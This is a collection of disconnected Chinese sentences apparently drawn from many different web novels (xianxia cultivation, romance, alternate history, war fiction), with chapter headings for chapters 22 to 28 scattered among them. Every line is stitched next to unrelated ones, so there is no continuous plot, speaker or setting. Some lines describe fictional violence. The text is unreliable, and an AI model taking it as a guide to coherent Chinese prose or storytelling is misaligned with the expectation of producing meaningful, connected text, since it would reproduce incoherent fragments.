目不转睛,嘴角哈喇子直流,似乎看到了不该看到的东西,李璇舒展了四肢,右腿向下倾斜运用魂力,腿力,一跃而起。 等到众人确定无疑,唐三等人便开始各自其职,玉天恒李璇两人变向森林东南暗影蜥蜴的出现方向跑去。 谁知道又过了四年,九婴又出现了。这次正好有猕猴王和狮驼王在一起喝酒,先是美猴王和禺狨王上去和九婴对打,不是对手后,狮驼王加入,还是打成平手,最后猕猴王出手,四大圣联手才灭杀了九婴。 苏子衿见他这顷刻间神色几经变换,差点笑出声来,最后也懒得和两人再扯皮,只是意味深长的看了眼苏若云。 一阵密雨箭之后,终于安静了下来,敌人可能以为他们全死了,所以没必要再浪费箭。 王世充说话时,习惯性的不停对所有人乱飞媚眼,好像感觉自己很有魔力,就连铁把梨他们都围了过去,一个个伸着头,好像很喜欢听他讲话一样。 在他眼里,秦一是被古溪韩家的名头震慑住了,所以才会沉默下来的。 牛大王张着牛耳朵听了一阵,又开始用鼻子不停吸气,也不说话。 学习的压力很大,还有最后一个月高考,楚歌是不敢有半点马虎的,天天熬夜做题到很晚,有时甚至爬在桌上睡着。 她看了看面前融念冰的遗像,再看一看身边的几位姐妹,心一狠,默默的闭上眼睛。 不过卫星定位是可以看到地理线位置,但是想要细看就需要连接监控了。 朱韵芸沉默的低下头来,拉着秦阳的手放下时,轻轻的靠在秦阳身上,呼吸变得不再平稳。 与此同时,陈飞的身体也开始发生了变幻,这是一种由人转变为兽型的变化。 那虚仙被李青断去一指,叫孟平,是伐异府的内部人士,有些势力。 与此同时,狮子兽也迅速的冲上了上去,只见狮子兽身上渐渐泛起一阵红芒,双手分别持有一把短刃,朝着勒森布拉攻去。 第22章 松露生意的无限可能 到了胖子家,我敲了敲门,里面却没有回音。这就更加奇怪了,胖子不会真的生我气了吧。 “我们去了天空之城沒错,不过,并沒有寻到什么宝贝,能活着出來都烧高香了,哪里还有那胆量去寻宝”萧雨叹息道。 一切准备就绪,企鹅科技也在张宁的领导之下,高调向外公布,进入电子商务行业。 中范围虽然大,只是在上百名官员一起追击之下,没有逃脱,被众人推倒在地,拳头,脚底纷纷在孙之獬身上落下,不一会儿,孙之獬就只有出气没有进气,可是后面许多人还没有轮到,纷纷涌上。 他们一边激动的看着上面的记录,一边也在不断的检测着卡卡西有没有作弊。 同时。他的脸上也闪过一抹失望。看來这所谓的天道火焰。也并不是太强大。 “福临,这不是逃,只是明军势大,我们暂时到草原避避风头,你十四叔和十数万将士还在关内与明军作战,等打败了明军,我们还会回来的。”布木布泰道。 即使是三万五千吨货物,也不是欧洲短时间可以消化,可以肯定,经过这一次直航,大明货物在欧洲的价格必定会下降,当然,这种下降也不全是坏事,可以让更多的欧洲人用得起大明货物。 不过让尉迟神锋感到不妙的是……林笑时不时的便朝着皇甫家族的位置看去。 面对一种种袭来的大道法则,而且是不同属性的,孔木应对起来也是非常麻烦,但他撑过来了,一直在坚持,不停的克服各种各样的问题,如今的他,距离掌握一条大道,也是越来越近了。 一名血色光芒闪动在前方,随即一道血色人影硬生生挡在男子身前。 姜东林顿时看我的眼神古怪起来,我所说的事情正是他最近苦恼的事情,尤其是每天晚上,一到晚上他便会感觉到阵阵寒气袭身,可他看医生,医生的诊断却是间接性寒症,也可以说没有病,纯属抽风。 江枫正准备出手,一道寒芒,突然提前一步冲出,直奔那头古兽杀去。 对方是千军万马杀过来了吗?这隆隆的马蹄声,仿佛是死神的战鼓在敲响,一步步逼近,不知要收割多少人的生命才肯罢休。 明羽轻轻一勒缰绳,狂躁的暴风烈马乖乖的调转身形,停了下来。 除此之外,在这三十息的冷却时间里,傀儡巨兽还能够通过大叔的操控,化身近战利器,杀伤力不输阳林锋。 剥人脸皮虽然残忍了一点,可也算不上酷刑。真正的酷刑是抽离人的魂魄。据说被这柄剥皮刀剥掉脸皮的人,魂魄会终身困在脸皮上面,永远无法得脱。 东方问天东方问剑惊讶的望着东方君,愣了愣就好像见到贵一般。 炼炎脉毕竟是炎神宗的外围,众人飞行了大概半天时间,就已经彻底的脱离出了炼炎脉的范围,朝着北方进发而去。 “坏蛋!也不说一声,吓死我了。”另外一边林萧抱着希罗娜稳稳的落在地上,对于他人来说这样的高度足以让他们将退摔断,但对于林萧来说也不成什么问题,只是他事先没有打招呼,直接将希罗娜吓了个半死。 苏军的火力顿时全部被拜尔所吸引,机枪、步枪一齐向拜尔猛烈射击。在湍急的水流中,拜尔已经身中数枪,但他在生命的最后关头仍然咬牙坚持还击,直到自己慢慢地沉入河中。 “你真的决定了么,其实以你的性格,离开军中也可以有很好的发展。 “不了,我自己去就行,你拖地吧。”凌宝鹿摆摆手,总觉得今天下午下来之后,一楼的气氛怪怪的,而直觉告诉凌宝鹿,怪异的源头就在厨房,所以她要到厨房去看个究竟。 凌佳佳玩上瘾,拧着他的脸不放,看多了顾微然妖孽的,迷人的样子,这种傻乎乎的样子,显得格外的可爱。 并不是李婉的身体和别人的不同,问题可能出在你自己的身上,比如,你没有打开你自己的真身和这具肉身的通路,这样的话,灵气是无法传输的。 原本在外围逡巡窥伺的散修们猝不及防,一下子全被这突然扩大的阵法给裹了进去。 “你傻怪我么?”吴世勋很轻松的就接住了那个朝自己飞来的抱枕,脸上一双弯起的月牙眼完全出卖了他此刻的心情。 可是姥姥从前很宠她,那份畏惧,她也不放在心上。可是如今姥姥居然对她这样的态度,让她觉得天山姥姥其实很可怕。 只是一个半透明的影子便这么厉害,那若是修成型的,那力量岂不是更加巨大? 沐云兮心中暗惊,果然不是个寻常人物,可为什么我会有种莫名的熟悉感? 三人开始鉴赏起来,随着鉴赏的加进,三个老宗师的眼睛也是泛起了亮光,‘弄’得其余三人心中十分之着慌。 “……”苏七夕果然就不敢再动。霍景尊满意的揉了下她的细腰,而后在她对面坐下,递了一个勺子给她。 阳光随风,从她一本正经的身姿上滑过,轻轻镀一层美妙的光晕。 众多的火苗汇聚成为一片汪洋大海,火苗所过之处,都掀起一股热浪,有的花草甚至是承受不住,竟而枯死过去! “她是死不改悔!不管他了,来谢雨,进屋吧。”薛明又是恨铁不成钢的瞪了一眼汽车怨气的方向,那里,只剩下汽车的为其还残留于空。 第23章 第一场雪 这则通告一出,许多关注古族商会的人,顿时忍不住在通告下方议论了起来,一条条发言不断的出现,各个分析帝现身。 但是墨灵等人却是想要冒险,因为她们想要强大,想要帮到洛天辰,所以便要求如此了。 然而,天识大帝也渐渐的平静着,他也不晓得该讲些啥,就好像普通人那样,又好像疯子那样,简直无法交流。 天色亮的格外早,而苏念安醒来的时候已经早已只剩下她一人,但是房间里弥漫的都是他的味道,她曾经最为熟悉的味道。 “你不是说当年已经杀了他了吗?为什么现在他又出现了?”基蒂寒声的看着这个黑衣人。黑衣人眼神之中闪过一丝震惊,怎么可能当年自己亲手把他扔下山崖,他不可能有生还的机会。 秋玄问清楚焦骊山的方向之后,没有丝毫的迟疑,当下急奔而去。 “柳公子好!”此时,听到有人说话以后,这四个黑衣人连忙对着这个男人喊道。 听到她平稳的呼吸,秦穆澈一如往常搂住她,没有她,他根本就睡不着。 不光已经成名的音乐人们热衷于在朋友婚礼上送歌,就算是音乐圈的人,也仿佛约定俗成似的这么做了。也许这就是所谓的音乐人身上的共通之处吧。 众人见到宫殿之外忙碌的人,已经井井有序,这个时候的三人驾龙辇降落在宫殿平台,降下云头,出了宝盖车,收了龙辇,众仙都来迎接。 这时候他才明白苏韵为什么会叫,因为自己的手已经伸进了苏韵的衣服,而苏韵的腿正压在自己的身上。 树下,少年微微抬眸,肤如碎月堆雪,如静水浮皎月,长翎睫羽,一身风骨仙姿,风华无双,宛如九重天上的神砥,用出淤泥而不染都不足以形容其万分之一。 非常鲜明的一个角色,只是最后的结局,却是一个悲剧,为爱而死,同楚凤鸾差不多,姜妧不傻,倒也明白尚晖的用意。 萧子阳和莫宇当然没有去理会,直接来到了莫宇的办公室,莫宇亲自给萧子阳倒了一杯水,说道:“萧少,回东海您怎么没提前通知我一声,我也好做个准备”。 比不上,可张乾是乾元本初之无的主宰,他是道气之主,念头一动,乾元道气犹如天河倾泻,进入刚刚诞生的唯一真界中。 蔺芝柔红唇上扬起一抹弧度,微微俯身弯下腰,视线对上她的,嗓音柔美动人,只是这副场景,着实让人难以安心。 曾经帝焚天抽取了洪荒宇宙不少本源,导致洪荒宇宙的发展都被打断,而今被张乾补足了本源,还灌输了比当初洪荒全盛时期多许多倍的本源。 阿皖的手颤抖了一下,不过迅速地恢复了过来,没有让她们发现异样。 行了,那我们就先去酒店吧,刚下飞机你们也应该累了吧,林云丹说道。 “好,既然大家都没有意见,那计划就这么定了,不过还是走马林堂主带领,直接进攻南宫家和齐家”,萧子阳下了命令。 “嘭!”一声闷响,孙老师抬头看了看前方。一名少年正在单手撑着门,微微用力,自己竟然推不动。 一些拥有火属性武脉的弟子想了一下,纷纷说出自己可以幻化的形态。 韩典生怕弟弟伤重,听韩庆说话,这才放心,忙护了韩庆,徐徐而退。周灿得意洋洋,回营向郑鼎报捷。 却说邪木云,眨眼间便来到了铁怜梦面前,但是一到人影挡在了他的面前,是莫白老人。 这话似乎在暗示什么,钟凌羽笑了笑没有接话,而是问她现在的感觉怎么样,是不是还是觉得不舒服。 “这里要找一颗桃子,简直比登天还难。”百万里的地界,全部都是桃树,而且都是枝繁叶茂,可能数千里地界才有一颗桃子,而这桃子变幻无常,随时都可以到其他的桃树之上。齐玄易等人皱眉,要在这里寻找起来太困难。 受到攻击的地狱阴魔犬,恶狠狠地盯着那些战机,如果眼神可以摧毁它们,想必它们已经灰飞烟灭了。 陇州,可以说是风源国除了霸州之外,国人们最想奔赴的地方,此地不仅民风纯朴,名人辈出,更是拥有一条连接各国的贸易之路,地理位置相当的重要。 天狐妖王说着,将一个储物袋抛给了罗平,罗平接过储物袋,灵识一扫之下,心中惊喜交加,不过表面上还是非常的平静。 护士将宝宝包好,抱出去给家人看了一眼,是个男宝宝,随后又抱回产房,放在了夏韵身旁。 路和坝,看似毫不相关的两样东西却成了阻碍瑶池村脱贫致富的两大拦路虎。 但是闵惠在他最困难的时候帮助过他,因此邵正勇可以避而不见,闵惠却是必须要见面拜年的。他可不想做一个被人唾弃的忘恩负义之徒。 千钧一发之际,云淡正欲闪身避开要害,突然,一杆银枪当空落下。 大概过了两个月,夏韵的姨妈迟迟没来,她有点担心,就测了一下。 胎儿成长飞速这件事太严重了,一旦被人知道,指不定会引起边辽怎样的躁动。 也是个老臣,一脸痛色地望向身着一袭铠甲的威武大将军,“耶律大将军,老夫一直对您非常敬重,也能体会到您常年在边塞风吹日晒的辛苦。 第24章 严峻的形势 极品道器,那是我道期以上的高手才有资格执掌的法宝,并且一般的我道期真人都没资格,必须是我道期中的强者才能拥有。 所以叶子明白这个事实,对付北霸天,妖精兵种的作用基本是零。 “精英战术?委托?暗影玫瑰团?”听完艾柯的话,叶子什么都没有弄懂,不过暗影玫瑰团这么牛的冒险团会专门找她参加团战?这种事情应该不是一个只有十级的冒险者可以产生多大影响的吧。 “你是不是在想,就算是牡丹花下死也值得了呢?”昊天明的声音突然传来。 “竟然敢骂我!我掐死你!”慕容墨情张开双手就掐向了昊天明的脖子。 “打住,你们来所谓的援助,说到底是有求于我的祖父,如果真的有诚意,为什么不派遣一些可靠的人手来这里帮忙?”青年水晶龙不满道。 一旦这个法术的效果成功地影响到了白河,他就会真正地掌握传奇之力。 他的视力没有问题,但是很不想因为体质问题猝死在新兵训练过程中。 这种情况倒是和三体中的智子干涉差不多,事实上,这是每一个拥有超自然力量世界都有的情况,白河的研究团伙在安塔斯就饱受其扰。 陈茜百思不得其解,抬眼正看到陈霸先和王泽的微笑,陈茜忽然想到王泽之前说视王琳为冢中枯骨的话,心中顿时想明白了陈霸先的布局。 陈默菡陷入爱情的迷雾中,根本就没有多想,只当自己找到了一个尊重自己的男人。 东海各郡的第三军、国民卫队、白狼营则是担负起防御高句丽、新罗再次可能的进攻,不到万不得已也是不能调离的。 陈帆突然闯入,毒蛇,蝎子等等纷纷做出临敌的样子,尤其是那一条金冠蟒蛇,更是吞吐蛇信,目光清幽。 “这什么情况,不是一条条劈下去的吗?我怎么觉得它们要一起倾斜而下?”众人都打了一个冷颤。 刚说完这话,张明朗却伸手将我环得更近,另外一只手伸过我的发际扣住我的后脑勺,将我的连扣得离他更近,差点就贴到了一起去了。 更何况,这个男孩,长相不错,脸上是阳光灿烂的笑容,看菡菡的眼光那是浓浓的爱意,听他自己所说来参加什么心理学交流研讨会,想来是个心理医生什么的,这职业不错,她喜欢。 实力有增强实力的盾阵和灵域,速度更直接,御风盾阵什么时候离开身过?既然是要去救人,自然是越早到越好,难不成等一切都结束了,再跑过去不成?为时已晚,岂不后悔? “对,不知章太医有何见解?也好让我辈学习学习。”另一位后起之秀,年纪轻轻的陈大夫,紧随其后追问。 虽然因为忌惮军人帝者,不敢下杀手,但他刚刚那一拳,仍用了两三成力道。 “叶欢的实力依旧很弱,弱到任何一个神尊都可以一招秒杀他,但是尸祖融合了云梦之后,已经晋升神尊了!”东溟说道。 池谨言真的拥有如此深不可测的能力吗?还是这一切只是她自己的幻想,或者她根本就是患上了精神病? 如果遇见不了解的人,可能会觉得这些东西非常神秘,什么休门,生门,死门之类的,但是在墨星辰眼中,也就那样了。 白真迫切的想要离开,他有预感,若是不离开这里,会有非常不好的事情发生。 就算真的有正道修士滥杀无辜,人家又没有对付你,你一个日理万机的魔道宗主管那么多事干什么? 说完,凌曦轻笑出声,拍了拍金红色绣着凤凰的华丽的裙摆,挥了挥衣袖,十分潇洒的离开了,像是一只高傲的凤凰。 而也顾不得休息的她连忙走到阵法前,望着一身乞丐装的许欣儿,不知是因为愧疚,还是身体受伤,长宁真人的声音都带着几分颤抖。 苏棠刚重生那天,便听到苏萍在她床头和父母哭诉要嫁给萧驰,不要嫁给老男人江珩,就知道,她妹妹苏萍也重生了。 这时两人来到岚城17号地下通道出入口,一个机器人跑了出来,从妖姬和王战手里接过被挑断手筋和脚筋的两个龙宫九境战神。 忽然,一道水箭从双目通红的八角湖怪的脑袋那边射出。随着许哲躲过这道水箭攻击,八角湖怪释放出更多的水箭。 听的说,神木族有神木再生术,算是神木族的天赋禁术。难道说,神农帝在死后还能够复生? 顾筱北在医院观察了三天后就出院回家了,她自己的病刚好一些,又开始担心起姐姐顾晴北。 至于王彪,则抱着手在一边看着,还把维多丽特弄了出来,逗弄着。他自然没有向这些实力不过是上位神的巨龙出手了。 第25章 大小姐 “愣少,要不要好好收拾一番?再盖点房子什么的,士兵们驻扎野外终究是不大方便!”吕德胜提议。 在英国在一战中留下的,诸如贝蒂一界的海军名将们纷纷凋零的现在。在那个一向被认为只有“存在海军”的第三帝国,竟率先诞生出了新世代的第一颗耀眼将星。 事实上,雷德尔现在只是想把这个卖关子还故作高深的家伙打一顿。可惜,碍于对方是元首,他才硬是忍住没动手。 比利时陆军宣布投降的当天,英国远征军第3步兵师就在蒙哥马利少将的指挥下,迅速的接连包抄堵截了十几支正准备投降的比利时运输部队,并凭此缴获了近辆运输车。 比如,天庭玉帝虽然是名义上的主宰,其实他的修为,并非是最强。 在斯大林仔细看了几眼后,他确定这就是莱因哈特的字迹,没错的。这么丑的字,在他接触过的所有德国人中,他也就只见过莱因哈特才写的出来。 那人后背忍着痛,咬着牙反手一剑直插连云城丹田,想穿透连云城的身体,一击杀了他。 此时已经到了下午,在这大殿之内呆的有些憋闷,连云城便提议出去走一走。 齐天寿身上还有着复国任务存在,他现在称王号齐王是一个不错的选择,可是‘齐王’却并不能让齐天寿满意。 王孟姜听闻王昊说道是为了谢道韫而来,哼哼了两声,似乎有些不高兴。 万一他运气极差,在这破地方连根毛的收货都没有,那么雪灵舟这价值连城的宝贝倒不是不可以打打主意。 “蒙、蒙、蒙古人~~!”撕心裂肺的叫声里,李大侉子转身就跑,仓促间在地上绊倒,摔了一跤,爬起来连粘了一脸的土都没空擦,又跑。 对于玩家来说,一切NPC势力只分两种:可以推平的,以及将来可以推平的。 “我就不明白了,方才我还听效天犬说你要带着大家一起走,怎么转眼之间,便就带着我一个出来了?”金元宝问道。 似感觉江华还算有诚意,且自己说到底和她还真没有什么特别的仇怨。 陈美琪抬起了她的一只脚,旋即“砰”的一声狠狠踩在了劳森的脑壳上。 突然,那间房屋的后面似乎有一束火光在跳动,夏紫嫣嘴角轻轻一挑,随后抽剑朝着山下跃去。 但是有些遗憾的是无线电好像已经损坏,不过莫飞依然将它买了下来,花了一块王者海鸟的肉换的。 “你就是个祸害,炼丹界里的丧门星!”每次见面李斯年都要热情的喊上一遍。 这些个大汉平日里欺负欺负普通老百姓倒也勉强凑合,如今碰到沈临风这样的高手也就只能抱头鼠窜了,沈临风剑随身动,心随剑走,一时之间雪地上人仰马翻,鲜血四溅。 这时没人管的牛头已经开着R, WQ连招直接将对他们紧追不舍的蝎子,顶了起来。 张秀确实是去找丁贵,回到家里后,原本她是坐在厨房里分菌子的,可是看着那一枚枚的黑松露却一点也高兴不起来。 皇城司如此这般大的动作,又是在白天,自然引起了周边百姓的恐慌,他们吓的远远逃离,甚至还有人以为是谋逆的同党在作桉犯事,跑去向临安府衙报告。 然而就在此时,突然天象陡变,原本蔚蓝的天空突然出现一抹青黑,约莫半炷香的时间又消失不见。 碧姬半天没有得到熊君的回复,转头望去,发现他面色沉重的不知道在想些什么。 李知孝一听,嘴角抽了抽,心说这往日里性子柔弱的官家,怎么脾气变得这么强硬了? 乔行简也诚恳说道:“陛下,暂且抛开事实不谈,单说对错,镇江士绅固然有错,然而新法就没有错吗? 孙离摆手,想了想,还是简单认命了几个追随者,仙老魔帝之上的,暂且各司其职,代为管理。 原本说的借口是等着大哥去劝父亲,现在突然又继续赶路,陆星落有点难于开口。 “你!”唐辰有些哭笑不得,不过最终还是服软了,没办法,谁叫他现在有求于狐嫚儿。 “什么没见过,只是听说过。”穆婷婷两姐妹这时候回来了,听到成步云前一句,所以有此一问。 先是众人不看好唐辰,紧接着唐辰展现非凡的实力,先是以雷霆之势轰杀外门一切弟子。 这种火油早已在城内熬制加热许久,搬上来后,依旧是滚烫无比,一旦这些火油迎头教下,下方的士兵定然死伤惨重,无人能够幸免于难。 “盖园子”项目还得考察一段时间,可近期的事是真不少,都得自己一件件处理,半点不得轻松,简直是和之前散散步、吃吃饭的考察生活形成了鲜明对比。 石狼惨叫一声,重重地砸在地上,残破的身躯被震开了许多道宽大的裂缝,摇摇晃晃地站起来后就又倒在地上。 不过他知道这些东西都急不来,不是说大量拥有就会有的,现在他首先还是先把自己的神纹武手臂补回来再说吧!他已经有点看惯自己有两只手的形象。 甘敬耸耸肩,没问她要怎么不愿意,很淡定的吃起了这些略咸、略甜、不够鲜的晚餐,一副从善如流的样子让周咚雨拿他没有办法。 “轰!”黑暗国度镇压,红毛给所处的位置给黑暗遮蔽了一切,腾升起一团剧烈的能量爆炸黑色迷雾。 “问,镇子里总共多少鬼子?现在还有多少没出来?都有什么武器?距离最近的鬼子据点有多远?”张逸将枪刺杵在伪军的脖子里。 “哎呀,这怎么好意思呢。”王阳听王齐天说给自己吸收这颗晶体,顿时喜悦之色溢于言表,但出于华夏人自古以来的谦逊传统,他还是假装谦让。 我们听雷声大一会说,似乎也想起来了,可是一看前面的那个十分平坦而且也不大的天台,却又不得怀疑起来,毕竟夜郎王墓跟这个差距还是蛮大的,那个石柱上的直径有将近十米,这里只怕两米不到。 第26章 你居然是这样的罗南? 送走那京城保和堂的三人后,彭一针一直坐在大堂里发呆,一会儿高兴,一会儿难过,一会儿傻笑,一会儿苦笑。 “这个事我还是和她商量下好了”墨纪刚说完,杜管家跑来相请,原来是何家的老爷上门来了,墨言叫他过去。 “哼,自己找死,就怨不得他人了。”带头黑衣人见到王晨在自己这里出现,冷笑说道,话中之意就好像王晨已经是自己的囊中之物了,黑衣人手呈拳状拳头之间冒出了一团火红色的光芒。 今天是下床的第一天,原本打算不过是随便走一走活动一下适应适应。 清风和明月出去被一些大神通者看中想收他们为坐骑,结果不用说,都被二人给打发了。其他都相安无事。 感受到夜凰的离去,他的心委实不是滋味,想了想叹了口气抬头说到:“算了,不说了,我……”他的话语停住了,因为他从铜镜里看到了夜凰,看到了一个衣带已解,此刻衣襟大开,露出内里粉白色的肚兜的夜凰。 彩霞话说得很谨慎,“没有真凭实据,奴婢也不好冤枉人。只是兰心近来手上似乎颇为宽裕,不仅多添好些脂粉香油,那丫头还瞧见她包袱里藏了几件金银首饰,东西却都眼生,应该是哪个主子打赏的。 “哗啦!!”疾风所至,困住了宫本丽的丧尸顿时被高高的吹飞,疾风之力瞬间绞杀了这只丧尸的‘行动力’。 “什么话?三个字的吗?”严绾顿时‘精’神一振,到底是沈思薇,不会像她这样遮遮掩掩。 “怎么?不敢报上你的姓名吗?莫非你只是一名鼠辈?”叶欢激将道。 “怎么可能,上次,那三家偷袭我林河城的人手被我们给全灭了,他们的人手至少损失了一半,就算他们三家联手也不可能灭了你们两家。”这时,王旭不由开口道。 “呵呵,提起我什么了?是不是要向我道歉,然后做了一些保证之类的话?”天羽不以为然的说到。 说罢,几个狗腿子互相交换了眼神,身形窜动之间,立刻将洪宇团团围住。 而面前,则是建立在这毒沼泽里,一座巨无霸城池,黑漆漆的城墙,门口蹲着一些面相一看就很凶狠的人犯。 现在,他将要重新划分大衍皇国的格局,来整合五大宗门的力量,立刻征战天下! 话音落下,草丛中顿时穿出众多门徒开始往回缠线,将风筝收回来,而诸葛金彤和她的护卫也现身出来。 尹玲珑知道阻挠不了,就只好顺着聂枫,也一起跟着他去了富州。 之前洪宇暴露装疯卖傻的隐秘,从二十九皇子的恶狗口下,救他性命,甚至不惜与二十九皇子交恶,这份恩情,让他更是不敢忘却,此刻见到洪宇的种种变化,反而由衷为他而感到高兴。 伸出手,在宁圆宁缺两人的脸蛋上摸了一把,“那我也只好朝你家两个丫头下手了。”双手一抬,当即锁着两人的喉咙,悬空拎了起来。 唐浩死死的盯住了西门吹雨手中的骰盅,两只耳朵早就竖了起来,努力的倾听着从骰盅里发出的声音。 既然一般的仙帝根本无法炼化天尊塔碎片,那紫斗抢那么多天尊塔碎片干什么呢?秦阳一直在想这个问题。当然紫斗也可能会像天劫大帝一样,不管有没有用,先抢到手再说。 情欲门几乎没有损失,进去的弟子一个不少全部安全地出来了,飞羽宗虽然只有风离一人没能出得生死域,不过确实损失最大的,飞羽宗所有人都陷入悲痛之中。 若是她真的踏出了哪一步归来,那么对林家甚至整个仙灵大陆来说都是一个灾难,到时候整个大陆将没有一人会是她的对手。 “碎片,我明白了,你是让你们的家的黑虎闻一闻,是不是。”廖木笑道。 风离走到石门前,看着其上流转着神光的古老字篆,一种熟悉的感觉油然而生,这字篆跟当初封玄台上的字体形似,应该是出自同一个时期,难道真是那位太古大能留下的吗? 那名男子刚刚从浓雾里跌出来,立刻就用手捂住自己两面开敞透气的伤口怪叫一声滚进了浓雾之中。如果是人类受了如此重伤,早就一命呜呼了。 唐浩的双眼一眨不眨的盯着紫黑色火焰上面的那根龙骨,龙骨的一半在内焰里面,已经初步的形成了法杖的形状,另外一部分在外焰,仍然没有被融化。 虚空仿仙镜的四周立着黑族修士,皮族修士,巨族修士,灵界修士,每个修士都是双目一瞬不瞬的盯着仿仙镜,沉思不语。 “前辈我们还要继续等么?我们都在这里等了将近两个时辰了……”水寒长老不明白林胜究竟是要等到什么时候,他是一个急‘性’子,现在已经是等待得不耐烦了起来,所以直接开口问道。 “那个,能不能破例一次,我真的很喜欢这里,要是能够让我住一晚,再我让拍点照片的话,那就更好了。而且,我愿意出两百美刀。”说着,庄逸又拿出一些美刀出来。 刚刚还洋洋得意的荣蓉,此刻看着幽萝不战而败,已经目瞪口呆,反应过来骂了幽萝一句“没用的东西”后,赶紧往山下逃去。 第27章 小姐们的青睐 曾经的老兵刘大壮听完我的劝说,此刻右眼眼圈红透,眼睛也有些湿润。 “好!既然你敬酒不吃吃罚酒,就没有留下来的必要了!让我来告诉你什么叫人外有人,天外有天。”胡泽随手一甩,将这道匹练给接了下来。 那灵兽痛苦的怒吼一声,欲哭无泪,刚开始战斗就被对方压制的的死死的,还战斗什么? 说完胡迪没有停留,展开身形就往山上窜去,一干帮众也是跟着往山上退去。 果然房梁被降妖宝杖砸中应声段成两截,整个客房原本就受了不少冲击,现在失去了主梁顿时整个垮塌,往巨蛛身上砸去。 见过无耻的,没见过这么无耻的。赵邪再一次刷新了两人心中无耻的下限。 王天的双拳之上开始浮现出奇异的红色之芒,而他的目标赫然是,那口安放在此的神秘石棺? 我看见周醉墨大眼深处的那股对我的眷恋,也许不管我说什么她都会选择答应,那种答应很可能已经有了服从的意味。但是唯独让她离开是她所不能答应的事情。 出人意料的是,落霞山脉已经被应龙鼎彻底吞噬,但是大地震并沒有发生,眼前出现了一个巨大的峡谷。 只要当权者在纵情享受的同时,分出一部分财物施给寺庙,就可以得到极大的福报。“施佛塔庙,得千倍报;布施沙门,得百倍报。”佛教正是这样向当权者廉价地出售进入天国的门票。 唐重眯起眼睛来,很有可能是之前感应到的那些人,当即他拳头捏在了一起,准备攻击。 “那不行,怎么能让你没有地方住呢,算了,都帮你这么久了,在帮你一次吧!”叶心灵说道。 托盘内摆放着许多红泽光亮的果子,许是刚刚清洗,有的果子上还挂着晶莹的水珠,乍一看去很是诱人。 “宝娘,怪只能怪我一个,火种撒得多了,早晚会烧到自家的。你倒不必自责,只答应咱一件事,也不枉咱疼你一场。”崔呈秀温声安慰。 走廊里传来一阵脚步声,由远及近,我偷偷探出半个脑袋,只见光头男一只手从后边掐着拧水果兄弟的脖子,二人缓缓朝楼梯口走来。 “娘子,你还生气喔?”车内,之心一点一点蹭过来,歪头探看着妻子的娇靥。 “草,不是吧,那个sb竟然是爱莎的股东有没有搞错?”刘鑫不敢置信地大吼。 众人看了一阵心疼,祈玉寒止住了她继续要脱衣服的手,凌沐风连忙脱下了自己的外衣,罩着栖蝶身体之上。 但迎接他们的是唐重的一个巴掌,从第一个壮汉一直扇到第五个。 看来,即使在这种时候,她还有心思来损人,果然是不二‘门’的代表‘性’二货。 不知道今年的比赛,朱雀学院是怎么安排的,是否比往年更精彩。 突然,陈军的目光看向了门,顿时起身走到了门边,听着外面的况。 徐忠面上苦笑回答,经过那样一闹,益膳斋的生意不仅没有萧条,反而越来越红火。 静和放下碗筷,决定不再绕弯子,屋里服侍的很有眼色地退了下去,紫瑛亲自在帘外守着。 第二天,顾芳就在吴雀的陪同下出了城,一时吃吃喝喝玩玩,到了晚上才依依不舍的回来。 余青叫人去给古家人送一些米面,这才起身去找顾芳,顾芳和她住一个院子里。 不过余青记得,辽王至少五六个儿子,肯定是不缺儿子的,在怎么样也轮不到廖世善这样一个私生子,有胡人血脉的私生子来威胁他的地位。 巨大的图腾带着音爆之声从天而降,狠狠的朝着安德利尔的身上砸了过去。 东方晓点了点头,并未多说什么,至于制作什么药剂,他也已经想好了。 就在这时,狐妖北魉带动嘴中的可怕光柱,朝着周围大长老与三名高手,直接横扫去。 阿济格的头脑没有那么复杂,尽管他比多铎大了九岁,比多尔衮大了七岁,但他看问题和想事情,比不上多尔衮和多铎。 下一息,他浑身仿佛失去力气一般,从半空中跌落在官道上,发出一声震响,扬起滚滚黄沙。 一下子便让他现在全是金属的身体恢复了不少,身上的伤势也飞速愈合,之后便不死心的再次向着江晨一拳轰去。 “哼!”修为最高的黑袍人一双巨大的兵器爪子挡在身前,道道黑气覆盖兵器,也覆盖着他那强横的躯体,正面硬撼眼前冲击而来的刀光。 叶开好意外,自己竟跟总裁同乖她的私人专用电梯,第一次感觉跟她无比亲近。 宫司沉原本要陪言夏夏去的,可是顾老忽然找了过来,还一副欲言又止的样子说有话要单独跟宫司沉聊。 透扫中,叶开也可看到,她前面动过手术,而还未完全痊愈的各部位伤口,正迅速愈合。 邀月一把包住了唐径“我也想……可是……我做不到,真的做不到……”说着她就把脸埋在了唐径怀中,哭的那叫一个凄惨。 苏辞一没想到他会说出这样一番话来,心头最隐蔽的地方好像被人狠狠地戳了一下,不说话了。 凤珂再次箭上弓时封徐的箭已经过来,凤珂在空中定眼一瞬后放箭。 辞镜被许青的动作刺激到了,明明刚才这家伙当着自己的面,用神魂勾引那狐狸精宗主,现在不仅不承认错误,还想上下其手,想要瞒天过海。 轩正青有些哭笑不得,他突然理解了李留知道自己家草料被搬完后的心情了。 加上老师泄露天机,说李若水在他投降金国之后,面对完颜宗翰的收买,他大骂不止。 冥泉想隐瞒墨邪是“太上炉鼎”的身份,可是如今已经被肥情饕餮发现。 柳凤仙还好,不认识陆飞星,没有多大的感触,但是陶雨可就惊呆了。 往常进宫,他们今后的职业和生涯基本就已经定死了,此举无疑是给他们多了一线希望。 第28章 我?偶像? 只见碧树时不时掉落下一片如碧玉般剔透的树叶,落到地上,引起一众蛮牛一番争抢,最后被其中一只吞入口内,便摇摇晃晃地走到一边去,闭目跪卧下来,周身黑褐色的妖气都收敛了起来,就像是睡着了一样。 在今天的时候,又碰到佑敬言明明十个圈都套中了,却还拿出钱给那个主家。 按理来说亚米也该消消气,让詹姆斯赔偿一些东西,就差不多了事了。 那一瞬,清清楚楚印入项飞眼中,适才武浩趁着刹那间的空隙,身形暴退而出,同时拔刀,然后隔空劈出一刀,刀势所及,单凭凌厉的刀劲,便将十米开外的杨明劈成两半。 在暗中观察韩炜一行人的那双眼睛,来自鲁家粮铺。鲁家乃淮扬富贾,世代皆做粮米生意,可谓富甲一方。 又有一片碧绿的嫩叶从枝头分离,轻飘飘地在空中曳舞,大量蛮牛乱作一团,想要朝着树叶的落点处挤,这就引发了几场牛与牛之间的对决,有几头银角蛮牛被顶出一两个偌大的血窟窿,直冒鲜血。 于是,孙策令太子孙绍为征南大将军领兵十万攻打南郡;又命镇东将军周泰领兵十万攻打东兴,镇南将军蒋钦领兵十万攻打武昌,三路军马同时进发。 